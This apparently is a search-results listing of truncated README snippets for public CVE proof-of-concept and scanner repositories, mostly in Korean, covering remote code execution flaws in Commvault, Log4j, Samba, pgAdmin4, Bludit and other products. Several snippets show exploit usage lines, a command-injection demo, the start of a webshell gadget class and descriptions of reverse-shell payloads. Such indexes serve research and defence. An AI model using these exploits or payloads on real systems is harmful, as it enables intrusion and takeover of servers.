319728 matches found
Commvault-CVE-2025-34028
CVE-2025-34028 Commvault 원격 코드 실행 CVE-2025-34028 NSE Nmap에서 실행하는 방법: nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...
POC_CVE-2024-46256
POCCVE-2024-46256 CVE-2024-46256과 CVE-2024-46257은 동일한 POC이며, provider 매개변수만 변경하면 됩니다. 참고 때때로 nc 파일이 서버에서 실행되지 않거나 명령어를 실행하지 못할 수 있습니다! 필수 설치 pip install requests 익스플로잇 실행 python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter IP or Host: IP/HOST + Enter Port: PORT + Enter username:...
MiniExploit
MiniExploit WebMin 버전...
CVE-2019-16113-PoC
CVE-2019-16113 PoC Bludit = 3.9.2의 '업로드 기능'을 통한 원격 코드 실행 취약점. 간단한 Python PoC. 발견자: @christasa: https://github.com/bludit/bludit/issues/1081 사용법 스크립트에 URL, 사용자 이름, 비밀번호 및 실행할 명령을 입력한 후 스크립트를 실행하세요: $ python CVE-2019-16113.py + Loggin successful. + Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73d...
CVE-2023-25355-25356
Exploit and credits 이 익스플로잇은 [email protected]에 의해 발견되었으며, 두 가지 훌륭한 자료로 제시되었습니다: full disclosure article DEFCON31 slides 이 취약점을 더욱 자동화하는 저장소가 Alex Linov에 의해 게시되었습니다: https://github.com/AlexLinov/sipXcom-RCE Objective CVE-2023-25355는 sipXcom 서버의 파일이 공격자가 제어하는 웹 서버에 업로드되는 유출 메커니즘입니다...
CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-
CVE-2025-2945 – pgAdmin4 인증된 RCE PoC 이 저장소는 pgAdmin4 의 특정 버전에 영향을 미치는 취약점 CVE-2025-2945 와 관련된 보안 연구 및 승인된 침투 테스트를 위해 작성된 개념 증명PoC 스크립트 를 포함합니다. 이 문제는 SQL 편집기에 접근 권한이 있는 인증된 pgAdmin 사용자가 Query Tool 패널 초기화 흐름을 악용하여 원격 코드 실행을 트리거할 수 있게 합니다. 이 PoC는 교육, 감사 및 방어 목적으로만 취약점을 시연합니다. 이 CVE와 PoC가 어떻게 작동하는지...
Shiro_Xray
ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...
react2shell-scanner
🚨 React2Shell スキャナー React Server Components における CVSS 10.0 の RCE。あなたの React 19 アプリは脆弱ですか？ CVE-2025-55182（React2Shell）向けの高速かつ高精度なスキャナーです。実環境で悪用されている重大なリモートコード実行の脆弱性を検出します。インテリジェントな Server Components 検出により誤検知ゼロを実現します。 🚨 React2Shell（CVE-2025-55182）について React2Shell は、React Server Components...
CVE-2022-44877
Centos Web Panel 7 인증 없는 원격 코드 실행 - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜ CVE-2022-44877 개념 증명PoC...
CVE-2021-39172-RCE
CVE-2021-39172 Cachet 2.4: Laravel 구성 주입을 통한 코드 실행 취약점에 관한 블로그 게시물 https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ CTF나 학습 목적으로 사용할 수 있습니다. 즐기시고 신의 축복이 여러분 모두에게 있기를 바랍니다...
cve-2020-8165-demo
CVE-2020-8165 데모 대부분보다 더 현실적인 구현의 CVE-2020-8165 데모입니다. 배경 CVE-2020-8165 Rails 5.2.4.3, rails 6.0.3.1에 신뢰할 수 없는 데이터 역직렬화 취약점이 존재하여, 공격자가 MemCacheStore 및 RedisCacheStore에서 사용자 제공 객체를 역마샬unmarshal하여 잠재적으로 RCE를 발생시킬 수 있습니다. 참고 자료 https://hackerone.com/reports/413388...
CVE-2024-21546
CVE-2024-21546 Python 익스플로잇 🔥 설명 이 Python 익스플로잇 스크립트는 UniSharp 이 만든 취약한 Laravel Filemanager를 대상으로 하며, 인증된 사용자가 파일 제한을 우회하고 악성 파일을 업로드할 수 있게 합니다. 업로드된 페이로드가 트리거되면 원격 코드 실행RCE으로 이어질 수 있습니다. 이 익스플로잇은 다음을 수행합니다: 사용자가 제공한 laravelsession 검증 정규식을 통해 CSRF token 추출 PHP 리버스 셸 페이로드가 포함된 가짜 PNG 파일 업로드 업로드된 파...
CVE-2020-1350
경고 이 저장소는 보관 처리되었으며 더 이상 적극적으로 유지관리되지 않습니다. CVE-2020-1350 이 PowerShell 스크립트는 Windows DNS 서비스의 CVE-2020-1350 원격 코드 실행 취약점에 대해 서버가 취약한지 확인합니다. 이 해결 방법 스크립트가 지원하는 운영 체제 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 Windows Server 2019 참고: 이 스크립트는 Windows Server 2008 및 Windows Server...
LOG4J-CVE-2021-44228
LOG4J-CVE-2021-44228 Log4Shell — CVE-2021-44228로도 알려짐 — 은 Apache 재단의 Log4j를 사용하는 시스템에서 원격 코드 실행을 가능하게 하는 치명적인 취약점입니다. Log4j는 상용 및 오픈소스 소프트웨어 제품과 유틸리티에서 널리 사용되는 오픈소스 자바 라이브러리입니다. POC 분석 취약 서버는 포트 8080에서 실행 중입니다. 그리고 LDAP 서버는 HTTP 8888 및 LDAP 1389 두 개의 포트에서 실행 중입니다. 익스플로잇 명령어 curl 172.17.0.2:8080 -...
CVE-2022-22947
CVE-2022-22947 CVE-2022-22947 Spring-Cloud-Gateway 2022년 1분기에는 Actuator API를 이용하여 SpEL Injection을 수행하고 잠재적으로 시스템 손상을 초래할 수 있는 흥미롭고 심각한 기준 점수 10.0 Spring Cloud Gateway 코드 주입 취약점이 발견되었습니다. Spring Cloud Gateway 3.1.1+ 및 3.0.7+ 이전 버전 Spring Cloud Gateway에서 애플리케이션은 다음 조건에서 코드 주입 공격에 취약합니다. IF:Gateway...
CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE
CVE-2023-27524: Apache Superset 인증 우회 및 RCE 널리 사용되는 데이터 시각화 및 탐색용 오픈소스 도구인 Apache Superset에서 인증 우회 및 원격 코드 실행RCE으로 이어질 수 있는 잠재적인 보안 취약점이 발견되었습니다. 이러한 취약점으로 인해 공격자는 대상 서버에서 관리자 권한을 획득하여 사용자 자격 증명을 수집하고 잠재적으로 데이터를 손상시킬 수 있습니다. 해당 보안 문제는 CVE-2023-27524로 명명된 안전하지 않은 기본 구성 취약점입니다. 근본 원인은 설치 중에 설정된 예측...
Drupal-cve-2019-6340
연구 CVE 2019-6340 사이트에서 Drupal 8 코어 RESTful API Services 모듈이 활성화되어 사용자가 GET, PATCH 또는 POST 요청을 서버로 보낼 수 있습니다. PATCH 메서드가 비활성화되어 있어도 GET 요청만으로 코드 실행 취약점을 트리거할 수 있습니다. 사이트에는 Drupal 8의 JSON-API 또는 Drupal 7의 REST 서비스와 같은 다른 웹 서비스 모듈이 활성화되어 있습니다. POC 요구사항 DOCKER.IO DRUPAL 8.6.9 SQL 5.7 docker run -d...
CVE-2017-7494
CVE-2017-7494 SAMBA CVE-2017-7494 취약점을 위한 원격 루트 익스플로잇 상세 정보 이 익스플로잇은 두 부분으로 나뉩니다: 첫째, "implant.c"라는 페이로드를 컴파일하여 루트 사용자로 전환하고, 부모 프로세스에서 분리한 후 리버스 셸을 생성하는 라이브러리libimplantx32.so 또는 libimplantx64.so를 생성합니다. 둘째, 지정된 대상 호스트에서 쓰기 가능한 공유 폴더를 찾고, 라이브러리를 무작위 이름으로 업로드한 후 로드하려고 시도합니다. 대상이 취약하고 페이로드가 대상 운영 체...
PT-2026-108904
A service console interface on openPDC and openHistorian deserializes a client-supplied data structure. On systems using Windows Authentication, an attacker must already be authenticated to reach this function; on systems without Windows Authentication, this is reachable by an unauthenticated...
